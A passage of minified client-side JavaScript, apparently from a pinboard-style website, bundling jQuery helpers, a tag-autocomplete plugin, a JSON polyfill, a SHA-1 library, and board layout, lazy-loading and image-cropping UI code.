} l = b(l, this); case "object": if (l.is || l.style) r = (l = b(l)).offset() } b.each(d.axis.split(""), function(m, q) { var v = q == "x" ? "Left": "Top", w = v.toLowerCase(), B = "scroll" + v, D = j[B], I = e.max(j, q); if (r) { u[B] = r[w] + (o ? 0 : D - k.offset()[w]); if (d.margin) { u[B] -= parseInt(l.css("margin" + v)) || 0; u[B] -= parseInt(l.css("border" + v + "Width")) || 0 } u[B] += d.offset[w] || 0; if (d.over[w]) u[B] += l[q == "x" ? "width": "height"]() * d.over[w] } else { q = l[w]; u[B] = q.slice && q.slice( - 1) == "%" ? parseFloat(q) / 100 * I: q } if (/^\d+$/.test(u[B])) u[B] = u[B] <= 0 ? 0 : Math.min(u[B], I); if (!m && d.queue) { D != u[B] && h(d.onAfterFirst); delete u[B] } }); h(d.onAfter) }).end() }; e.max = function(g, f) { var d = f == "x" ? "Width": "Height"; f = "scroll" + d; if (!b(g).is("html,body")) return g[f] - b(g)[d.toLowerCase()](); d = "client" + d; var h = g.ownerDocument.documentElement; g = g.ownerDocument.body; return Math.max(h[f], g[f]) - Math.min(h[d], g[d]) } })(jQuery); (function() { jQuery.each({ getSelection: function() { var b = this.jquery ? this[0] : this; return ("selectionStart" in b && function() { var c = b.selectionEnd - b.selectionStart; return { start: b.selectionStart, end: b.selectionEnd, length: c, text: b.value.substr(b.selectionStart, c) } } || document.selection && function() { b.focus(); var c = document.selection.createRange(); if (c == null) return { start: 0, end: b.value.length, length: 0 }; var e = b.createTextRange(), g = e.duplicate(); e.moveToBookmark(c.getBookmark()); g.setEndPoint("EndToStart", e); var f = g.text.length, d = f; for (e = 0; e < f; e++) g.text.charCodeAt(e) == 13 && d--; f = g = c.text.length; for (e = 0; e < g; e++) c.text.charCodeAt(e) == 13 && f--; return { start: d, end: d + f, length: f, text: c.text } } || function() { return { start: 0, end: b.value.length, length: 0 } })() }, setSelection: function(b, c) { var e = this.jquery ? this[0] : this, g = b || 0, f = c || 0; return ("selectionStart" in e && function() { e.focus(); e.selectionStart = g; e.selectionEnd = f; return this } || document.selection && function() { e.focus(); var d = e.createTextRange(), h = g; for (i = 0; i < h; i++) if (e.value[i].search(/[\r\n]/) != -1) g -= 0.5; h = f; for (i = 0; i < h; i++) if (e.value[i].search(/[\r\n]/) != -1) f -= 0.5; d.moveEnd("textedit", -1); d.moveStart("character", g); d.moveEnd("character", f - g); d.select(); return this } || function() { return this })() }, replaceSelection: function(b) { var c = this.jquery ? this[0] : this, e = b || ""; return ("selectionStart" in c && function() { c.value = c.value.substr(0, c.selectionStart) + e + c.value.substr(c.selectionEnd, c.value.length); return this } || document.selection && function() { c.focus(); document.selection.createRange().text = e; return this } || function() { c.value += e; return this })() } }, function(b) { jQuery.fn[b] = this }) })(); var tagmate = tagmate || { USER_TAG_EXPR: "@\\w+(?: \\w*)?", HASH_TAG_EXPR: "#\\w+", USD_TAG_EXPR: "\\$(?:(?:\\d{1,3}(?:\\,\\d{3})+)|(?:\\d+))(?:\\.\\d{2})?", GBP_TAG_EXPR: "\\\u00a3(?:(?:\\d{1,3}(?:\\,\\d{3})+)|(?:\\d+))(?:\\.\\d{2})?", filter_options: function(b, c) { for (var e = [], g = 0; g < b.length; g++) { var f = b[g].label.toLowerCase(), d = c.toLowerCase(); d.length <= f.length && f.indexOf(d) == 0 && e.push(b[g]) } return e }, sort_options: function(b) { return b.sort(function(c, e) { c = c.label.toLowerCase(); e = e.label.toLowerCase(); if (c > e) return 1; else if (c < e) return - 1; return 0 }) } }; (function(b) { function c(d, h, j) { d = d.substring(j || 0).search(h); return d >= 0 ? d + (j || 0) : d } function e(d) { return d.replace(/[-[\]{}()*+?.,\\^$|#\s]/g, "\\$&") } function g(d, h, j) { var k = {}; for (tok in h) if (j && j[tok]) { var l = {}, r = {}; for (key in j[tok]) { var u = j[tok][key].value, o = j[tok][key].label, m = e(tok + o), q = ["(?:^(", ")$|^(", ")\\W|\\W(", ")\\W|\\W(", ")$)"].join(m), v = 0; for (q = new RegExp(q, "gm"); (v = c(d.val(), q, v)) > -1;) { var w = r[v] ? r[v] : null; if (!w || l[w].length < o.length) r[v] = u; l[u] = o; v += o.length + 1 } } for (v in r) k[tok + r[v]] = tok } else { l = null; for (q = new RegExp("(" + h[tok] + ")", "gm"); l = q.exec(d.val());) k[l[1]] = tok } d = []; for (m in k) d.push(m); return d } var f = { "@": tagmate.USER_TAG_EXPR, "#": tagmate.HASH_TAG_EXPR, $: tagmate.USD_TAG_EXPR, "\u00a3": tagmate.GBP_TAG_EXPR }; b.fn.extend({ getTags: function(d, h) { var j = b(this); d = d || j.data("_tagmate_tagchars"); h = h || j.data("_tagmate_sources"); return g(j, d, h) }, tagmate: function(d) { function h(o, m, q) { for (m = new RegExp("[" + m + "]"); q >= 0 && !m.test(o[q]); q--); return q } function j(o) { var m = o.val(), q = o.getSelection(), v = -1; o = null; for (tok in u.tagchars) { var w = h(m, tok, q.start); if (w > v) { v = w; o = tok } } m = m.substring(v + 1, q.start); if ((new RegExp("^" + u.tagchars[o])).exec(o + m)) return o + m; return null } function k(o, m, q) { var v = o.val(), w = o.getSelection(); w = h(v, m[0], w.start); var B = v.substr(0, w); v = v.substr(w + m.length); o.val(B + m[0] + q + v); v = w + q.length + 1; o.setSelection(v, v); u.replace_tag && u.replace_tag(m, q) } function l(o, m) { m = tagmate.sort_options(m); for (var q = 0; q < m.length; q++) { var v = m[q].label, w = m[q].image; q == 0 && o.html(""); var B = "<span>" + v + "</span>"; if (w) B = "<img src='" + w + "' alt='" + v + "'/>" + B; v = u.menu_option_class; if (q == 0) v += " " + u.menu_option_active_class; o.append("<div class='" + v + "'>" + B + "</div>") } } function r(o, m) { var q = m == "down" ? ":first-child": ":last-child", v = m == "down" ? "next": "prev"; m = o.children("." + u.menu_option_active_class); if (m.length == 0) m = o.children(q); else { m.removeClass(u.menu_option_active_class); m = m[v]().length > 0 ? m[v]() : m } m.addClass(u.menu_option_active_class); v = o.children(); var w = Math.floor(b(o).height() / b(v[0]).height()) - 1; if (b(o).height() % b(v[0]).height() > 0) w -= 1; for (q = 0; q < v.length && b(v[q]).html() != b(m).html(); q++); q > w && q - w >= 0 && q - w < v.length && o.scrollTo(v[q - w]) } var u = { tagchars: f, sources: null, capture_tag: null, replace_tag: null, menu: null, menu_class: "tagmate-menu", menu_option_class: "tagmate-menu-option", menu_option_active_class: "tagmate-menu-option-active" }; return this.each(function() { function o() { w.hide(); var D = j(m); if (D) { var I = D[0], p = D.substr(1), n = m.getSelection(), z = h(m.val(), I, n.start); n.start - z <= D.length && function(A) { if (typeof u.sources[I] === "object") A(tagmate.filter_options(u.sources[I], p)); else typeof u.sources[I] === "function" ? u.sources[I]({ term: p }, A) : A() } (function(A) { if (A && A.length > 0) { l(w, A); w.css("top", m.outerHeight() - 1 + "px"); w.show(); for (var E = m.data("_tagmate_sources"), F = 0; F < A.length; F++) { for (var Q = false, H = 0; ! Q && H < E[I].length; H++) Q = E[I][H].value == A[F].value; Q || E[I].push(A[F]) } } D && u.capture_tag && u.capture_tag(D) }) } } d && b.extend(u, d); var m = b(this); m.data("_tagmate_tagchars", u.tagchars); var q = {}; for (var v in u.sources) q[v] = []; m.data("_tagmate_sources", q); var w = u.menu; if (!w) { w = b("<div class='" + u.menu_class + "'></div>"); m.after(w) } m.offset(); w.css("position", "absolute"); w.hide(); var B = false; b(m).unbind(".tagmate").bind("focus.tagmate", function() { o() }).bind("blur.tagmate", function() { setTimeout(function() { w.hide() }, 300) }).bind("click.tagmate", function() { o() }).bind("keydown.tagmate", function(D) { if (w.is(":visible")) if (D.keyCode == 40) { r(w, "down"); B = true; return false } else if (D.keyCode == 38) { r(w, "up"); B = true; return false } else if (D.keyCode == 13) { D = w.children("." + u.menu_option_active_class).text(); var I = j(m); if (I && D) { k(m, I, D); w.hide(); B = true; return false } } else if (D.keyCode == 27) { w.hide(); B = true; return false } }).bind("keyup.tagmate", function() { if (B) { B = false; return true } o() }); b("." + u.menu_class + " ." + u.menu_option_class).die("click.tagmate").live("click.tagmate", function() { var D = b(this).text(), I = j(m); k(m, I, D); w.hide(); B = true; return false }) }) } }) })(jQuery); (function(b) { function c(f) { var d; if (f && f.constructor == Array && f.length == 3) return f; if (d = /rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/.exec(f)) return [parseInt(d[1]), parseInt(d[2]), parseInt(d[3])]; if (d = /rgb\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*\)/.exec(f)) return [parseFloat(d[1]) * 2.55, parseFloat(d[2]) * 2.55, parseFloat(d[3]) * 2.55]; if (d = /#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(f)) return [parseInt(d[1], 16), parseInt(d[2], 16), parseInt(d[3], 16)]; if (d = /#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/.exec(f)) return [parseInt(d[1] + d[1], 16), parseInt(d[2] + d[2], 16), parseInt(d[3] + d[3], 16)]; return g[b.trim(f).toLowerCase()] } function e(f, d) { var h; do { h = b.curCSS(f, d); if (h != "" && h != "transparent" || b.nodeName(f, "body")) break; d = "backgroundColor" } while ( f = f . parentNode ); return c(h) } b.each(["backgroundColor", "borderBottomColor", "borderLeftColor", "borderRightColor", "borderTopColor", "color", "outlineColor"], function(f, d) { b.fx.step[d] = function(h) { if (h.state == 0) { h.start = e(h.elem, d); h.end = c(h.end) } h.elem.style[d] = "rgb(" + [Math.max(Math.min(parseInt(h.pos * (h.end[0] - h.start[0]) + h.start[0]), 255), 0), Math.max(Math.min(parseInt(h.pos * (h.end[1] - h.start[1]) + h.start[1]), 255), 0), Math.max(Math.min(parseInt(h.pos * (h.end[2] - h.start[2]) + h.start[2]), 255), 0)].join(",") + ")" } }); var g = { aqua: [0, 255, 255], azure: [240, 255, 255], beige: [245, 245, 220], black: [0, 0, 0], blue: [0, 0, 255], brown: [165, 42, 42], cyan: [0, 255, 255], darkblue: [0, 0, 139], darkcyan: [0, 139, 139], darkgrey: [169, 169, 169], darkgreen: [0, 100, 0], darkkhaki: [189, 183, 107], darkmagenta: [139, 0, 139], darkolivegreen: [85, 107, 47], darkorange: [255, 140, 0], darkorchid: [153, 50, 204], darkred: [139, 0, 0], darksalmon: [233, 150, 122], darkviolet: [148, 0, 211], fuchsia: [255, 0, 255], gold: [255, 215, 0], green: [0, 128, 0], indigo: [75, 0, 130], khaki: [240, 230, 140], lightblue: [173, 216, 230], lightcyan: [224, 255, 255], lightgreen: [144, 238, 144], lightgrey: [211, 211, 211], lightpink: [255, 182, 193], lightyellow: [255, 255, 224], lime: [0, 255, 0], magenta: [255, 0, 255], maroon: [128, 0, 0], navy: [0, 0, 128], olive: [128, 128, 0], orange: [255, 165, 0], pink: [255, 192, 203], purple: [128, 0, 128], violet: [128, 0, 128], red: [255, 0, 0], silver: [192, 192, 192], white: [255, 255, 255], yellow: [255, 255, 0] } })(jQuery); jQuery.cookie = function(b, c, e) { if (arguments.length > 1 && String(c) !== "[object Object]") { e = jQuery.extend({}, e); if (c === null || c === undefined) e.expires = -1; if (typeof e.expires === "number") { var g = e.expires, f = e.expires = new Date; f.setDate(f.getDate() + g) } c = String(c); return document.cookie = [encodeURIComponent(b), "=", e.raw ? c: encodeURIComponent(c), e.expires ? "; expires=" + e.expires.toUTCString() : "", e.path ? "; path=" + e.path: "", e.domain ? "; domain=" + e.domain: "", e.secure ? "; secure": ""].join("") } e = c || {}; f = e.raw ? function(d) { return d }: decodeURIComponent; return (g = (new RegExp("(?:^|; )" + encodeURIComponent(b) + "=([^;]*)")).exec(document.cookie)) ? f(g[1]) : null }; if (!window.JSON) window.JSON = {}; (function() { function b(r) { return r < 10 ? "0" + r: r } function c(r) { d.lastIndex = 0; return d.test(r) ? '"' + r.replace(d, function(u) { var o = k[u]; return typeof o === "string" ? o: "\\u" + ("0000" + u.charCodeAt(0).toString(16)).slice( - 4) }) + '"': '"' + r + '"' } function e(r, u) { var o, m, q = h, v, w = u[r]; if (w && typeof w === "object" && typeof w.toJSON === "function") w = w.toJSON(r); if (typeof l === "function") w = l.call(u, r, w); switch (typeof w) { case "string": return c(w); case "number": return isFinite(w) ? String(w) : "null"; case "boolean": case "null": return String(w); case "object": if (!w) return "null"; h += j; v = []; if (Object.prototype.toString.apply(w) === "[object Array]") { m = w.length; for (r = 0; r < m; r += 1) v[r] = e(r, w) || "null"; u = v.length === 0 ? "[]": h ? "[\n" + h + v.join(",\n" + h) + "\n" + q + "]": "[" + v.join(",") + "]"; h = q; return u } if (l && typeof l === "object") { m = l.length; for (r = 0; r < m; r += 1) { o = l[r]; if (typeof o === "string") if (u = e(o, w)) v.push(c(o) + (h ? ": ": ":") + u) } } else { for (o in w) if (Object.hasOwnProperty.call(w, o)) if (u = e(o, w)) { v.push(c(o) + (h ? ": ": ":") + u); } } u = v.length === 0 ? "{}": h ? "{\n" + h + v.join(",\n" + h) + "\n" + q + "}": "{" + v.join(",") + "}"; h = q; return u } } if (typeof Date.prototype.toJSON !== "function") { Date.prototype.toJSON = function() { return isFinite(this.valueOf()) ? this.getUTCFullYear() + "-" + b(this.getUTCMonth() + 1) + "-" + b(this.getUTCDate()) + "T" + b(this.getUTCHours()) + ":" + b(this.getUTCMinutes()) + ":" + b(this.getUTCSeconds()) + "Z": null }; String.prototype.toJSON = Number.prototype.toJSON = Boolean.prototype.toJSON = function() { return this.valueOf() } } var g = window.JSON, f = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g, d = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g, h, j, k = { "\u0008": "\\b", "\t": "\\t", "\n": "\\n", "\u000c": "\\f", "\r": "\\r", '"': '\\"', "\\": "\\\\" }, l; if (typeof g.stringify !== "function") g.stringify = function(r, u, o) { var m; j = h = ""; if (typeof o === "number") for (m = 0; m < o; m += 1) j += " "; else if (typeof o === "string") j = o; if ((l = u) && typeof u !== "function" && (typeof u !== "object" || typeof u.length !== "number")) throw new Error("JSON.stringify"); return e("", { "": r }) }; if (typeof g.parse !== "function") g.parse = function(r, u) { function o(m, q) { var v, w, B = m[q]; if (B && typeof B === "object") for (v in B) if (Object.hasOwnProperty.call(B, v)) { w = o(B, v); if (w !== undefined) B[v] = w; else delete B[v] } return u.call(m, q, B) } r = String(r); f.lastIndex = 0; if (f.test(r)) r = r.replace(f, function(m) { return "\\u" + ("0000" + m.charCodeAt(0).toString(16)).slice( - 4) }); if (/^[\],:{}\s]*$/.test(r.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, "@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, "]").replace(/(?:^|:|,)(?:\s*\[)+/g, ""))) { r = eval("(" + r + ")"); return typeof u === "function" ? o({ "": r }, "") : r } throw new SyntaxError("JSON.parse"); } })(); (function() { var b = function(o) { var m = [], q = o.length * 8, v; for (v = 0; v < q; v += 8) m[v >> 5] |= (o.charCodeAt(v / 8) & 255) << 24 - v % 32; return m }, c = function(o) { var m = [], q = o.length, v, w; for (v = 0; v < q; v += 2) { w = parseInt(o.substr(v, 2), 16); if (isNaN(w)) return "INVALID HEX STRING"; else m[v >> 3] |= w << 24 - 4 * (v % 8) } return m }, e = function(o) { var m = "", q = o.length * 4, v, w; for (v = 0; v < q; v += 1) { w = o[v >> 2] >> (3 - v % 4) * 8; m += "0123456789abcdef".charAt(w >> 4 & 15) + "0123456789abcdef".charAt(w & 15) } return m }, g = function(o) { var m = "", q = o.length * 4, v, w, B; for (v = 0; v < q; v += 3) { B = (o[v >> 2] >> 8 * (3 - v % 4) & 255) << 16 | (o[v + 1 >> 2] >> 8 * (3 - (v + 1) % 4) & 255) << 8 | o[v + 2 >> 2] >> 8 * (3 - (v + 2) % 4) & 255; for (w = 0; w < 4; w += 1) m += v * 8 + w * 6 <= o.length * 32 ? "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(B >> 6 * (3 - w) & 63) : "" } return m }, f = function(o, m) { return o << m | o >>> 32 - m }, d = function(o, m, q) { return o ^ m ^ q }, h = function(o, m, q) { return o & m ^ ~o & q }, j = function(o, m, q) { return o & m ^ o & q ^ m & q }, k = function(o, m) { var q = (o & 65535) + (m & 65535); return ((o >>> 16) + (m >>> 16) + (q >>> 16) & 65535) << 16 | q & 65535 }, l = function(o, m, q, v, w) { var B = (o & 65535) + (m & 65535) + (q & 65535) + (v & 65535) + (w & 65535); return ((o >>> 16) + (m >>> 16) + (q >>> 16) + (v >>> 16) + (w >>> 16) + (B >>> 16) & 65535) << 16 | B & 65535 }, r = function(o, m) { var q = [], v, w, B, D, I, p, n, z, A = [1732584193, 4023233417, 2562383102, 271733878, 3285377520], E = [1518500249, 1518500249, 1518500249, 1518500249, 1518500249, 1518500249, 1518500249, 1518500249, 1518500249, 1518500249, 1518500249, 1518500249, 1518500249, 1518500249, 1518500249, 1518500249, 1518500249, 1518500249, 1518500249, 1518500249, 1859775393, 1859775393, 1859775393, 1859775393, 1859775393, 1859775393, 1859775393, 1859775393, 1859775393, 1859775393, 1859775393, 1859775393, 1859775393, 1859775393, 1859775393, 1859775393, 1859775393, 1859775393, 1859775393, 1859775393, 2400959708, 2400959708, 2400959708, 2400959708, 2400959708, 2400959708, 2400959708, 2400959708, 2400959708, 2400959708, 2400959708, 2400959708, 2400959708, 2400959708, 2400959708, 2400959708, 2400959708, 2400959708, 2400959708, 2400959708, 3395469782, 3395469782, 3395469782, 3395469782, 3395469782, 3395469782, 3395469782, 3395469782, 3395469782, 3395469782, 3395469782, 3395469782, 3395469782, 3395469782, 3395469782, 3395469782, 3395469782, 3395469782, 3395469782, 3395469782]; o[m >> 5] |= 128 << 24 - m % 32; o[(m + 65 >> 9 << 4) + 15] = m; z = o.length; for (p = 0; p < z; p += 16) { m = A[0]; v = A[1]; w = A[2]; B = A[3]; D = A[4]; for (n = 0; n < 80; n += 1) { q[n] = n < 16 ? o[n + p] : f(q[n - 3] ^ q[n - 8] ^ q[n - 14] ^ q[n - 16], 1); I = n < 20 ? l(f(m, 5), h(v, w, B), D, E[n], q[n]) : n < 40 ? l(f(m, 5), d(v, w, B), D, E[n], q[n]) : n < 60 ? l(f(m, 5), j(v, w, B), D, E[n], q[n]) : l(f(m, 5), d(v, w, B), D, E[n], q[n]); D = B; B = w; w = f(v, 30); v = m; m = I } A[0] = k(m, A[0]); A[1] = k(v, A[1]); A[2] = k(w, A[2]); A[3] = k(B, A[3]); A[4] = k(D, A[4]) } return A }, u = function(o, m) { this.strToHash = this.strBinLen = this.sha1 = null; if ("HEX" === m) { if (0 !== o.length % 2) return "TEXT MUST BE IN BYTE INCREMENTS"; this.strBinLen = o.length * 4; this.strToHash = c(o) } else if ("ASCII" === m || "undefined" === typeof m) { this.strBinLen = o.length * 8; this.strToHash = b(o) } else return "UNKNOWN TEXT INPUT TYPE" }; u.prototype = { getHash: function(o) { var m = null, q = this.strToHash.slice(); switch (o) { case "HEX": m = e; break; case "B64": m = g; break; default: return "FORMAT NOT RECOGNIZED" } if (null === this.sha1) this.sha1 = r(q, this.strBinLen); return m(this.sha1) }, getHMAC: function(o, m, q) { var v; v = []; var w = []; switch (q) { case "HEX": q = e; break; case "B64": q = g; break; default: return "FORMAT NOT RECOGNIZED" } if ("HEX" === m) { if (0 !== o.length % 2) return "KEY MUST BE IN BYTE INCREMENTS"; m = c(o); o = o.length * 4 } else if ("ASCII" === m) { m = b(o); o = o.length * 8 } else return "UNKNOWN KEY INPUT TYPE"; if (64 < o / 8) { m = r(m, o); m[15] &= 4294967040 } else if (64 > o / 8) m[15] &= 4294967040; for (o = 0; o <= 15; o += 1) { v[o] = m[o] ^ 909522486; w[o] = m[o] ^ 1549556828 } v = r(v.concat(this.strToHash), 512 + this.strBinLen); v = r(w.concat(v), 672); return q(v) } }; window.jsSHA = u })(); var Router = function() { var b; if (!window.history.pushState) return null; b = new Backbone.Router({ routes: { "pin/:pinID/": "zoom", "pin/:pinID/repin/": "repin", ".*": "other" } }); Backbone.history.start({ pushState: true, silent: true }); return b } (); var BoardLayout = function() { return { setup: function(b) { if (!this.setupComplete) { this.setupFlow(); $(function() { if (window.userIsAuthenticated) { Like.gridListeners(); Follow.listeners(); Comment.gridComment(); RepinDialog2.setup() } Zoom.setup() }); this.center = !!b; this.setupComplete = true } }, setupFlow: function(b) { if (!this.flowSetupComplete) { BoardLayout.allPins(); b || $(window).resize(_.throttle(function() { BoardLayout.allPins() }, 200)); this.flowSetupComplete = true } }, pinsContainer: ".BoardLayout", pinArray: [], orderedPins: [], mappedPins: {}, nextPin: function(b) { b = this.orderedPins.indexOf(b) + 1; if (b >= this.orderedPins.length) return 0; return this.orderedPins[b] }, previousPin: function(b) { b = this.orderedPins.indexOf(b) - 1; if (b >= this.orderedPins.length) return 0; return this.orderedPins[b] }, columnCount: 4, columns: 0, columnWidthInner: 192, columnMargin: 15, columnPadding: 30, columnContainerWidth: 0, allPins: function() { var b = $(this.pinsContainer + " .pin"), c = this.getContentArea(); this.columnWidthOuter = this.columnWidthInner + this.columnMargin + this.columnPadding; this.columns = Math.max(this.columnCount, parseInt(c / this.columnWidthOuter, 10)); if (b.length < this.columns) this.columns = Math.max(this.columnCount, b.length); c = this.columnWidthOuter * this.columns - this.columnMargin; var e = document.getElementById("wrapper"); if (e) e.style.width = c + "px"; $(".LiquidContainer").css("width", c + "px"); for (c = 0; c < this.columns; c++) this.pinArray[c] = 0; document.getElementById("SortableButtons") ? this.showPins() : this.flowPins(b, true); if ($("#ColumnContainer .pin").length === 0 && window.location.pathname === "/") { $("#ColumnContainer").addClass("empty"); setTimeout(function() { window.location.reload() }, 5E3) } }, newPins: function() { var b = window.jQuery ? ":last": ":last-of-type", c = $(this.pinsContainer + b + " .pin"); c = c.length > 0 ? c: $(this.pinsContainer + b + " .pin"); this.flowPins(c) }, flowPins: function(b, c) { if (c) { this.mappedPins = {}; this.orderedPins = [] } if (this.pinArray.length > this.columns) this.pinArray = this.pinArray.slice(0, this.columns); for (c = 0; c < b.length; c++) this.positionPin(b[c]); this.updateContainerHeight(); this.showPins(); window.useLazyLoad && LazyLoad.invalidate() }, positionPin: function(b) { var c = $(b).attr("data-id"); if (c && this.mappedPins[c]) $(b).remove(); else { var e = _.indexOf(this.pinArray, Math.min.apply(Math, this.pinArray)), g = this.shortestColumnTop = this.pinArray[e]; b.style.top = g + "px"; b.style.left = e * this.columnWidthOuter + "px"; b.setAttribute("data-col", e); this.pinArray[e] = g + b.offsetHeight + this.columnMargin; this.mappedPins[c] = this.orderedPins.length; this.orderedPins.push(c) } }, showPins: function() { $.browser.msie && parseInt($.browser.version, 10) == 7 || $(this.pinsContainer).css("opacity", 1); var b = $(this.pinsContainer); setTimeout(function() { b.css({ visibility: "visible" }) }, 200) }, imageLoaded: function() { $(this).removeClass("lazy") }, getContentArea: function() { return this.contentArea || document.documentElement.clientWidth }, updateContainerHeight: function() { $("#ColumnContainer").height(Math.max.apply(Math, this.pinArray)) } } } (); var LazyLoad = new(function() { var b = this, c = 0, e = 0, g = 100, f = $(window); b.images = {}; b.invalidate = function() { $("img.lazy").each(function(u, o) { u = $(o); b.images[u.attr("data-id")] = u; h(u) && j(u) }) }; b.check = function() { var u, o = false; return function() { if (!o) { o = true; clearTimeout(u); u = setTimeout(function() { o = false; d() }, 200) } } } (); var d = function() { var u = 0, o = 0; for (var m in b.images) { var q = b.images[m]; u++; if (h(q)) { j(q); o++ } } }; b.stop = function() { f.unbind("scroll", k); f.unbind("resize", l) }; var h = function(u) { return u.offset().top <= g }, j = function(u) { if (u.hasClass("lazy")) { var o = u.attr("data-src"), m = u.attr("data-id"); u.load(function() { if (u[0]) u[0].style.opacity = "1"; delete b.images[m] }); u.attr("src", o); u.removeClass("lazy"); if (u[0]) u[0].style.opacity = "0" } }, k = function() { c = $(window).scrollTop(); r(); b.check() }, l = function() { e = $(window).height(); r(); b.check() }, r = function() { g = c + e + 600 }; if (window.useLazyLoad) { f.ready(function() { k(); l() }); f.scroll(k); f.resize(l) } }); var FancySelect = function() { var b; return { setup: function(c, e, g) { function f() { b.hide(); j.hide() } function d() { j.show(); b.show() } var h = $('<div class="FancySelect"><div class="current"><span class="CurrentSelection"></span><span class="DownArrow"></span></div><div class="FancySelectList"><div class="wrapper"><ul></ul></div></div></div>'), j = $(".FancySelectList", h), k = $("ul", j), l = $(".CurrentSelection", h), r = "", u, o; b || (b = $('<div class="FancySelectOverlay"></div>').appendTo("body")); c = $(c); u = c.prop("selectedIndex"); e = e || function() { return '<li data="' + $(this).val() + '"><span>' + $(this).text() + "</span></li>" }; o = $("option", c); o.each(function(m) { r += e.call(this, m, m === u) }); k.html(r); l.text(o.eq(u).text()); c.before(h); c.hide(); h.click(function() { d() }); b.click(function() { f() }); k.on("click", "li", function() { var m = $(this).prevAll().length; l.text($(this).text()); c.prop("selectedIndex", m); f(); g && g($(this).attr("data")); return false }) } } } (); var boardPicker = function() { return { setup: function(b, c, e) { b = $(b); var g = $(".boardListOverlay", b.parent()), f = $(".boardList", b), d = $(".currentBoard", b), h = $("ul", f); b.click(function() { f.show(); g.show() }); g.click(function() { f.hide(); g.hide() }); $(h).on("click", "li", function() { if (!$(this).hasClass("noSelect")) { d.text($(this).text()); g.hide(); f.hide(); c && c($(this).attr("data")) } return false }); b = $(".createBoard", f); var j = $("input", b), k = $(".Button", b), l = $(".CreateBoardStatus", b); j.defaultValue("Create New Board"); k.click(function() { if (k.attr("disabled") == "disabled") return false; if (j.val() == "Create New Board") { l.html("Enter a board name").css("color", "red").show(); return false } l.html("").hide(); k.addClass("disabled").attr("disabled", "disabled"); $.post("/board/create/", { name: j.val(), pass_category: true }, function(r) { if (r && r.status == "success") { h.append("<li data='" + r.id + "'><span>" + $("<div/>").text(r.name).html() + "</span></li>"); f.hide(); d.text(r.name); j.val("").blur(); k.removeClass("disabled").removeAttr("disabled"); e && e(r.id) } else { l.html(r.message).css("color", "red").show(); k.removeClass("disabled").removeAttr("disabled") } }, "json"); return false }) } } } (); var CropImage = function() { this.initialize.apply(this, arguments) }; (function() { var b = Backbone.View.extend({ el: "#CropImage", events: { "click .cancel": "onClose", "click .save": "onSave", "mousedown .drag": "onStartDrag" }, dragging: false, mousePosition: {}, initialize: function() { _.bindAll(this, "onDragging", "onStopDragging", "onImageLoaded"); _.defaults(this.options, { title: "Crop Image", buttonTitle: "Save", size: { width: 222, height: 150 } }); this.$holder = this.$el.find(".holder"); this.$bg = this.$el.find(".holder .bg"); this.$overlay = this.$el.find(".holder .overlayContent"); this.$frame = this.$el.find(".holder .frame"); this.$mask = this.$el.find(".holder .mask"); this.$footer = this.$el.find(".footer"); this.$button = this.$el.find(".footer .Button.save"); this.$spinner = this.$el.find(".holder .spinner") }, render: function() { this.$el.find(".header span").text(this.options.title); this.$button.text(this.options.buttonTitle).removeClass("disabled"); this.$holder.show().css("height", this.options.size.height + 120 + 40); this.$footer.find(".buttons").css("visibility", "visible"); this.$footer.find(".complete").hide(); this.$bg.html("").show(); this.$spinner.hide(); this.options.className && this.$el.addClass(this.options.className); this.options.overlay && this.$overlay.html("").append(this.options.overlay); var c = this.bounds = { left: this.$holder.width() / 2 - this.options.size.width / 2, width: this.options.size.width, top: 60, height: this.options.size.height }; c.ratio = c.height / c.width; this.$frame.css(c); this.$mask.find("span").each(function(e, g) { e === 0 && $(g).css({ top: 0, left: 0, right: 0, height: c.top }); e === 1 && $(g).css({ top: c.top, left: c.left + c.width, right: 0, height: c.height }); e === 2 && $(g).css({ top: c.top + c.height, left: 0, right: 0, bottom: 0 }); e === 3 && $(g).css({ top: c.top, left: 0, width: c.left, height: c.height }) }); this.options.image && this.setImage(this.options.image) }, onClose: function() { this.trigger("close"); return false }, onSave: function() { this.trigger("save"); return false }, onImageLoaded: function(c) { if (this.$img.height() === 0) return setTimeout(this.onImageLoaded, 200, c); this.$img.removeAttr("width").removeAttr("height"); c = this.imageBounds = { originalWidth: this.$img.width(), originalHeight: this.$img.height() }; c.ratio = c.originalHeight / c.originalWidth; this.$img.css({ visibility: "visible", opacity: 1 }); this.fitImage(); this.centerImage(); this.hideSpinner() }, onStartDrag: function(c) { this.mousePosition = { x: c.pageX, y: c.pageY }; this.startPosition = { x: parseInt(this.$bg.css("left"), 10), y: parseInt(this.$bg.css("top"), 10) }; this.trigger("startDrag"); this.dragging = true; $("body").on({ mousemove: this.onDragging, mouseup: this.onStopDragging }); c.preventDefault() }, onDragging: function(c) { var e = { top: this.startPosition.y + (c.pageY - this.mousePosition.y), left: this.startPosition.x + (c.pageX - this.mousePosition.x) }; if (this.enforceBounds(e)) { this.$bg.css(e); c.preventDefault() } }, onStopDragging: function() { this.trigger("stopDrag"); this.dragging = false; $("body").off({ mousemove: this.onDragging, mouseup: this.onStopDragging }) }, enforceBounds: function(c) { c.top = Math.min(c.top, this.bounds.top); c.left = Math.min(c.left, this.bounds.left); if (c.left + this.imageBounds.width < this.bounds.left + this.bounds.width) c.left = this.bounds.left + this.bounds.width - this.imageBounds.width + 1; if (c.top + this.imageBounds.height < this.bounds.top + this.bounds.height) c.top = this.bounds.top + this.bounds.height - this.imageBounds.height + 1; return c }, showComplete: function() { this.$footer.find(".buttons").css("visibility", "hidden"); this.$footer.find(".complete").fadeIn(300); 